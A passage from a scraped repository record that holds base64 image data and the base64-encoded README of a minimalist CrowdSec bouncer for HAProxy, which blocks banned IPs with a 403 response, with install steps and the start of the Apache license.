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", "url": "https://github.com/hellracer/cs-haproxy-bouncer", "description": "a minimalist bouncer for haproxy", "stars": 12, "downloads": 0, "readme_content": "IyBDUy1IYXByb3h5LUJvdW5jZXIKCkEgbWluaW1hbGlzdCBjcm93ZHNlYyBib3VuY2VyIGZvciBoYXByb3h5CgojIyBJbnN0YWxsYXRpb24KCk9uIERlYmlhbiAvIFVidW50dQoKYGBgCmFwdC1nZXQgaW5zdGFsbCBsdWEtanNvbgpgYGAKIyMgVXNhZ2UKClRoaXMgaGFwcm94eSBleHRlbnNpb25zIHdpbGwgdHJpZ2dlciA0MDMgLSBGb3JiaWRkZW4gUmVzcG9uc2UgaWYgdGhlIHNvdXJjZSBJUCBpcyBiYW4gZnJvbSBjcm93ZHNlYyBsb2NhbCBhcGkKCiMjIENvbnRyaWJ1dGluZwoKMS4gRm9yayBpdCEKMi4gQ3JlYXRlIHlvdXIgZmVhdHVyZSBicmFuY2g6IGBnaXQgY2hlY2tvdXQgLWIgbXktbmV3LWZlYXR1cmVgCjMuIENvbW1pdCB5b3VyIGNoYW5nZXM6IGBnaXQgY29tbWl0IC1hbSAnQWRkIHNvbWUgZmVhdHVyZSdgCjQuIFB1c2ggdG8gdGhlIGJyYW5jaDogYGdpdCBwdXNoIG9yaWdpbiBteS1uZXctZmVhdHVyZWAKNS4gU3VibWl0IGEgcHVsbCByZXF1ZXN0IDpECgojIyBIaXN0b3J5CgpJbml0aWFsIFJlbGVhc2UKCiMjIENyZWRpdHMKCmFuZXppcm92aWMgQWRpcyBOZXppcm92aWMgLSBodHRwczovL2dpdGh1Yi5jb20vaGFwcm94eXRlY2gvaGFwcm94eS1sdWEtaHR0cAoKIyMgTGljZW5zZQoKICBBcGFjaGUgTGljZW5zZQogICAgICAgICAgICAgICAgICAgICAgICAgICBWZXJzaW9uIDIuMCwgSmFudWFyeSAyMDA0CiAgICAgICAgICAgICAgICAgICAgICAgIGh0dHA6Ly93d3cuYXBhY2hlLm9yZy9saWNlbnNlcy8KCiAgIFRFUk1TIEFORCBDT05ESVRJT05TIEZPUiBVU0UsIFJFUFJPRFVDVElPTiwgQU5EIERJU1RSSUJVVElPTgoKICAgMS4gRGVmaW5pdGlvbnMuCgogICAgICAiTGljZW5zZSIgc2hhbGwgbWVhbiB0aGUgdGVybXMgYW5kIGNvbmRpdGlvbnMgZm9yIHVzZSwgcmVwcm9kdWN0aW9uLAogICAgICBhbmQgZGlzdHJpYnV0aW9uIGFzIGRlZmluZWQgYnkgU2VjdGlvbnMgMSB0aHJvdWdoIDkgb2YgdGhpcyBkb2N1bWVudC4KCiAgICAgICJMaWNlbnNvciIgc2hhbGwgbWVhbiB0aGUgY29weXJpZ2h0IG93bmVyIG9yIGVudGl0eSBhdXRob3JpemVkIGJ5CiAgICAgIHRoZSBjb3B5cmlnaHQgb3duZXIgdGhhdCBpcyBncmFudGluZyB0aGUgTGljZW5zZS4KCiAgICAgICJMZWdhbCBFbnRpdHkiIHNoYWxsIG1lYW4gdGhlIHVuaW9uIG9mIHRoZSBhY3RpbmcgZW50aXR5IGFuZCBhbGwKICAgICAgb3RoZXIgZW50aXRpZXMgdGhhdCBjb250cm9sLCBhcmUgY29udHJvbGxlZCBieSwgb3IgYXJlIHVuZGVyIGNvbW1vbgogICAgICBjb250cm9sIHdpdGggdGhhdCBlbnRpdHkuIEZvciB0aGUgcHVycG9zZXMgb2YgdGhpcyBkZWZpbml0aW9uLAogICAgICAiY29udHJvbCIgbWVhbnMgKGkpIHRoZSBwb3dlciwgZGlyZWN0IG9yIGluZGlyZWN0LCB0byBjYXVzZSB0aGUKICAgICAgZGlyZWN0aW9uIG9yIG1hbmFnZW1lbnQgb2Ygc3VjaCBlbnRpdHksIHdoZXRoZXIgYnkgY29udHJhY3Qgb3IKICAgICAgb3RoZXJ3aXNlLCBvciAoaWkpIG93bmVyc2hpcCBvZiBmaWZ0eSBwZXJjZW50ICg1MCUpIG9yIG1vcmUgb2YgdGhlCiAgICAgIG91dHN0YW5kaW5nIHNoYXJlcywgb3IgKGlpaSkgYmVuZWZpY2lhbCBvd25lcnNoaXAgb2Ygc3VjaCBlbnRpdHkuCgogICAgICAiWW91IiAob3IgIllvdXIiKSBzaGFsbCBtZWFuIGFuIGluZGl2aWR1YWwgb3IgTGVnYWwgRW50aXR5CiAgICAgIGV4ZXJjaXNpbmcgcGVybWlzc2lvbnMgZ3JhbnRlZCBieSB0aGlzIExpY2Vuc2UuCgogICAgICAiU291cmNlIiBmb3JtIHNoYWxsIG1lYW4gdGhlIHByZWZlcnJlZCBmb3JtIGZvciBtYWtpbmcgbW9kaWZpY2F0aW9ucywKICAgICAgaW5jbHVkaW5nIGJ1dCBub3QgbGltaXRlZCB0byBzb2Z0d2FyZSBzb3VyY2UgY29kZSwgZG9jdW1lbnRhdGlvbgogICAgICBzb3VyY2UsIGFuZCBjb25maWd1cmF0aW9uIGZpbGVzLgoKICAgICAgIk9iamVjdCIgZm9ybSBzaGFsbCBtZWFuIGFueSBmb3JtIHJlc3VsdGluZyBmcm9tIG1lY2hhbmljYWwKICAgICAgdHJhbnNmb3JtYXRpb24gb3IgdHJhbnNsYXRpb24gb2YgYSBTb3VyY2UgZm9ybSwgaW5jbHVkaW5nIGJ1dAogICAgICBub3QgbGltaXRlZCB0byBjb21waWxlZCBvYmplY3QgY29kZSwgZ2VuZXJhdGVkIGRvY3VtZW50YXRpb24sCiAgICAgIGFuZCBjb252ZXJzaW9ucyB0byBvdGhlciBtZWRpYSB0eXBlcy4KCiAgICAgICJXb3JrIiBzaGFsbCBtZWFuIHRoZSB3b3JrIG9mIGF1dGhvcnNoaXAsIHdoZXRoZXIgaW4gU291cmNlIG9yCiAgICAgIE9iamVjdCBmb3JtLCBtYWRlIGF2YWlsYWJsZSB1bmRlciB0aGUgTGljZW5zZSwgYXMgaW5kaWNhdGVkIGJ5IGEKICAgICAgY29weXJpZ2h0IG5vdGljZSB0aGF0IGlzIGluY2x1ZGVkIGluIG9yIGF0dGFjaGVkIHRvIHRoZSB3b3JrCiAgICAgIChhbiBleGFtcGxlIGlzIHByb3ZpZGVkIGluIHRoZSBBcHBlbmRpeCBiZWxvdykuCgogICAgICAiRGVyaXZhdGl2ZSBXb3JrcyIgc2hhbGwgbWVhbiBhbnkgd29yaywgd2hldGhlciBpbiBTb3VyY2Ugb3IgT2JqZWN0CiAgICAgIGZvcm0sIHRoYXQgaXMgYmFzZWQgb24gKG9yIGRlcml2ZWQgZnJvbSkgdGhlIFdvcmsgYW5kIGZvciB3aGljaCB0aGUKICAgICAgZWRpdG9yaWFsIHJldmlzaW9ucywgYW5ub3RhdGlvbnMsIGVsYWJvcmF0aW9ucywgb3Igb3RoZXIgbW9kaWZpY2F0aW9ucwogICAgICByZXByZXNlbnQsIGFzIGEgd2hvbGUsIGFuIG9yaWdpbmFsIHdvcmsgb2YgYXV0aG9yc2hpcC4gRm9yIHRoZSBwdXJwb3NlcwogICAgICBvZiB0aGlzIExpY2Vuc2UsIERlcml2YXRpdmUgV29ya3Mgc2hhbGwgbm90IGluY2x1ZGUgd29ya3MgdGhhdCByZW1haW4KICAgICAgc2VwYXJhYmxlIGZyb20sIG9yIG1lcmVseSBsaW5rIChvciBiaW5kIGJ5IG5hbWUpIHRvIHRoZSBpbnRlcmZhY2VzIG9mLAogICAgICB0aGUgV29yayBhbmQgRGVyaXZhdGl2ZSBXb3JrcyB0aGVyZW9mLgoKICAgICAgIkNvbnRyaWJ1dGlvbiIgc2hhbGwgbWVhbiBhbnkgd29yayBvZiBhdXRob3JzaGlwLCBpbmNsdWRpbmcKICAgICAgdGhlIG9yaWdpbmFsIHZlcnNpb24gb2YgdGhlIFdvcmsgYW5kIGFueSBtb2RpZmljYXRpb25zIG9yIGFkZGl0aW9ucwogICAgICB0byB0aGF0IFdvcmsgb3IgRGVyaXZhdGl2ZSBXb3JrcyB0aGVyZW9mLCB0aGF0IGlzIGludGVudGlvbmFsbHkKICAgICAgc3VibWl0dGVkIHRvIExpY2Vuc29yIGZvciBpbmNsdXNpb24gaW4gdGhlIFdvcmsgYnkgdGhlIGNvcHlyaWdodCBvd25lcgogICAgICBvciBieSBhbiBpbmRpdmlkdWFsIG9yIExlZ2FsIEVudGl0eSBhdXRob3JpemVkIHRvIHN1Ym1pdCBvbiBiZWhhbGYgb2YKICAgICAgdGhlIGNvcHlyaWdodCBvd25lci4gRm9yIHRoZSBwdXJwb3NlcyBvZiB0aGlzIGRlZmluaXRpb24sICJzdWJtaXR0ZWQiCiAgICAgIG1lYW5zIGFueSBmb3JtIG9mIGVsZWN0cm9uaWMsIHZlcmJhbCwgb3Igd3JpdHRlbiBjb21tdW5pY2F0aW9uIHNlbnQKICAgICAgdG8gdGhlIExpY2Vuc29yIG9yIGl0cyByZXByZXNlbnRhdGl2ZXMsIGluY2x1ZGluZyBidXQgbm90IGxpbWl0ZWQgdG8KICAgICAgY29tbXVuaWNhdGlvbiBvbiBlbGVjdHJvbmljIG1haWxpbmcgbGlzdHMsIHNvdXJjZSBjb2RlIGNvbnRyb2wgc3lzdGVtcywKICAgICAgYW5kIGlzc3VlIHRyYWNraW5nIHN5c3RlbXMgdGhhdCBhcmUgbWFuYWdlZCBieSwgb3Igb24gYmVoYWxmIG9mLCB0aGUKICAgICAgTGljZW5zb3IgZm9yIHRoZSBwdXJwb3NlIG9mIGRpc2N1c3NpbmcgYW5kIGltcHJvdmluZyB0aGUgV29yaywgYnV0CiAgICAgIGV4Y2x1ZGluZyBjb21tdW5pY2F0aW9uIHRoYXQgaXMgY29uc3BpY3VvdXNseSBtYXJrZWQgb3Igb3RoZXJ3aXNlCiAgICAgIGRlc2lnbmF0ZWQgaW4gd3JpdGluZyBieSB0aGUgY29weXJpZ2h0IG93bmVyIGFzICJOb3QgYSBDb250cmlidXRpb24uIgoKICAgICAgIkNvbnRyaWJ1dG9yIiBzaGFsbCBtZWFuIExpY2Vuc29yIGFuZCBhbnkgaW5kaXZpZHVhbCBvciBMZWdhbCBFbnRpdHkKICAgICAgb24gYmVoYWxmIG9mIHdob20gYSBDb250cmlidXRpb24gaGFzIGJlZW4gcmVjZWl2ZWQgYnkgTGljZW5zb3IgYW5kCiAgICAgIHN1YnNlcXVlbnRseSBpbmNvcnBvcmF0ZWQgd2l0aGluIHRoZSBXb3JrLgoKICAgMi4gR3JhbnQgb2YgQ29weXJpZ2h0IExpY2Vuc2UuIFN1YmplY3QgdG8gdGhlIHRlcm1zIGFuZCBjb25kaXRpb25zIG9mCiAgICAgIHRoaXMgTGljZW5zZSwgZWFjaCBDb250cmlidXRvciBoZXJlYnkgZ3JhbnRzIHRvIFlvdSBhIHBlcnBldHVhbCwKICAgICAgd29ybGR3aWRlLCBub24tZXhjbHVzaXZlLCBuby1jaGFyZ2UsIHJveWFsdHktZnJlZSwgaXJyZXZvY2FibGUKICAgICAgY29weXJpZ2h0IGxpY2Vuc2UgdG8gcmVwcm9kdWNlLCBwcmVwYXJlIERlcml2YXRpdmUgV29ya3Mgb2YsCiAgICAgIHB1YmxpY2x5IGRpc3BsYXksIHB1YmxpY2x5IHBlcmZvcm0sIHN1YmxpY2Vuc2UsIGFuZCBkaXN0cmlidXRlIHRoZQogICAgICBXb3JrIGFuZCBzdWNoIERlcml2YXRpdmUgV29ya3MgaW4gU291cmNlIG9yIE9iamVjdCBmb3JtLgoKICAgMy4gR3JhbnQgb2YgUGF0ZW50IExpY2Vuc2UuIFN1YmplY3QgdG8gdGhlIHRlcm1zIGFuZCBjb25kaXRpb25zIG9mCiAgICAgIHRoaXMgTGljZW5zZSwgZWFjaCBDb250cmlidXRvciBoZXJlYnkgZ3JhbnRzIHRvIFlvdSBhIHBlcnBldHVhbCwKICAgICAgd29ybGR3aWRlLCBub24tZXhjbHVzaXZlLCBuby1jaGFyZ2UsIHJveWFsdHktZnJlZSwgaXJyZXZvY2FibGUKICAgICAgKGV4Y2VwdCBhcyBzdGF0ZWQgaW4gdGhpcyBzZWN0aW9uKSBwYXRlbnQgbGljZW5zZSB0byBtYWtlLCBoYXZlIG1hZGUsCiAgICAgIHVzZSwgb2ZmZXIgdG8gc2VsbCwgc2VsbCwgaW1wb3J0LCBhbmQgb3RoZXJ3aXNlIHRyYW5zZmVyIHRoZSBXb3JrLAogICAgICB3aGVyZSBzdWNoIGxpY2Vuc2UgYXBwbGllcyBvbmx5IHRvIHRob3NlIHBhdGVudCBjbGFpbXMgbGljZW5zYWJsZQogICAgICBieSBzdWNoIENvbnRyaWJ1dG9yIHRoYXQgYXJlIG5lY2Vzc2FyaWx5IGluZnJpbmdlZCBieSB0aGVpcgogICAgICBDb250cmlidXRpb24ocykgYWxvbm